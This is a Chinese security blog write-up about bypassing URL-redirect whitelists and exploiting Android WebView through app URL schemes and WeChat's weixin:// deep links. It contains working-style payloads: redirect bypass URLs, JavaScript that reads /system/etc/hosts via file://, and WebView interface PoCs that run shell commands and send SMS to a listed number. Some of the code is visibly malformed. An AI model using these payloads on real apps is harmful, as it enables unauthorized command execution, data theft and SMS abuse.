天天看點

淺談URL跳轉與Webview安全

學習資訊安全技術的過程中,用開闊的眼光看待安全問題會得到不同的結論。具體是啥呢?i春秋在這篇文章中給你答案。

學習資訊安全技術的過程中,用開闊的眼光看待安全問題會得到不同的結論。

在一次測試中我用Burpsuite搜尋了關鍵詞url找到了某處url,測試一下發現waf攔截了指向外域的請求,于是開始嘗試繞過。第一個測試的url是:

https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com

打開成功跳轉以為會跳轉成功,但是baidu.com是在白名單的,是以隻能想辦法去繞過它,經過幾次繞過後發現

https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io可以跳轉成功,于是我覺得有必要總結一下url的跳轉繞過思路,分享給大家!

@繞過

這個是利用了我們浏覽器的特性,現在除了Firefox浏覽器大部分都可以完成這樣跳轉,下面是跳轉的内容:

問号繞過

可以使用Referer的比如https://baidu.com,可以https://任意位址/?baidu.com

錨點繞過

利用#會被浏覽器解釋成HTML中的錨點:http://127.0.0.1/#qq.com

xip.io繞過

http://www.baidu.com.127.0.0.1.xip.io/,這樣之後會通路127.0.0.1

How does it work?
xip.io runs a custom DNS server on the public Internet.
When your computer looks up a xip.io domain, the xip.io
DNS server extracts the IP address from the domain and
sends it back in the response.      

在公網上運作自定義的DNS伺服器,用它的伺服器提取IP位址,在響應中将它取回。反斜杠繞過

這次測試中也是使用了這種思路:

https://mall.m.xxxxxxx.com/jump.html?url=https:/c1h2e1.github.io

IP繞過

把目标的URL修改成IP位址,這樣也有可能繞過waf的攔截。

chrome浏覽器特性

http://baidu.com
http://baidu.com
//baidu.com
http:\//baidu.com      

這樣的都會跳轉到百度

1、URL跳轉到Webview安全問題

這次的漏洞在手機上測試時發現利用APP url Schema也就是

xxxx://app/webview?url=xxxxxxx

其實這裡的任意Webview跳轉已經構成漏洞了,但是我想更加深入一下,請看下面的案例。

案例

我們先用file://協定讀取一下測試檔案試一下:

可以看到成功讀取了手機的敏感host檔案,但不是隻要讀取成功就能完成利用的,我們還需要設計到發送并讀取。

這邊我又測試了一下JavaScript的情況,發現開啟,在vps上搭建一下利用代碼。

<html>
<head>
<title>test</title>
</head>
<script>
var xmlHttp; //定義XMLHttpRequest對象
function createXmlHttpRequestObject(){
 //如果在internet Explorer下運作
 if(window.ActiveXObject){
 try{
 xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
 }catch(e){
 xmlHttp=false;
 }
 }else{
 //如果在Mozilla或其他的浏覽器下運作
 try{
 xmlHttp=new XMLHttpRequest();
 }catch(e){
 xmlHttp=false;
 }
 }
 //傳回建立的對象或顯示錯誤資訊
 if(!xmlHttp)
 alert("error");
 else
 return xmlHttp;
}
function ReqHtml(){
 createXmlHttpRequestObject();
 path='file://'
 path1='/system/etc/hosts'
 xmlHttp.onreadystatechange=StatHandler; //判斷URL調用的狀态值并處理
 xmlHttp.open("GET",path+path1,false); //調用test.txt
 xmlHttp.send(null)
 alert(1)
}
function StatHandler(){
 if(xmlHttp.readyState==4 && xmlHttp.status==200){
 document.getElementById("webpage").innerHTML=xmlHttp.responseText;
 alert(xmlHttp.responseText)
 }
}
ReqHtml()
StatHandler()
</script>
<body>
<div id="webpage"></div>
</body>
</html>      

在app上測試一下發現不成功,之後才得知是因為同源政策導緻的,在網上各種找方法繞過後無果,沒辦法隻好放棄。

雖然這個應用繞不過,我們可以mark一點姿勢。

Ps:很多代碼都是手碼的沒寫過JS,是以可能會有一些錯誤不要見怪。

<html>
 <body>
 <script>
 function execute(cmdArgs)
 {
 return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
 }
 var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
 document.write(getContents(res.getInputStream()));
 </script>
 </body>
</html>      

這個是執行指令的poc

<html>
<head>
<title>Test send</title>
<script type="text/javascript">
function execute() {
 var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
 sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/>
</body>
</html>
<html>
<head>
<title>Test sendsms</title>
<script type="text/javascript">
function execute() {
 var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
 sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/>
</body>
</html>      

2、更換目标

這是我想到了weixin的協定,weixin://看了官方的文檔之後我發現了微信支援如下操作:

weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 掃一掃
weixin://dl/feedback 回報
weixin://dl/moments 朋友圈
weixin://dl/settings 設定
weixin://dl/notifications 消息通知設定
weixin://dl/chat 聊天設定
weixin://dl/general 通用設定
weixin://dl/officialaccounts 公衆号
weixin://dl/games 遊戲
weixin://dl/help 幫助
weixin://dl/feedback 回報
weixin://dl/profile 個人資訊
weixin://dl/features 功能插件      

經過一番查找後,找到了能夠跳轉的方法:weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx。

那麼這個ticket哪裡來呢?

我在t00ls上看到一篇同樣關于這個微信協定的分析,百度了一下找到了這個位址:

我們注冊并登陸嘗試一下跳轉:

果然還是收費,因為寫文章的時候比較早,他們可能沒有上班是以就換個地方找一下:

我們加一下這個客服的qq:

正如我想象的那樣:

weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4

手機打開測試一下網頁:

成功打開微信并跳轉,以上内容大家看懂了嗎?

繼續閱讀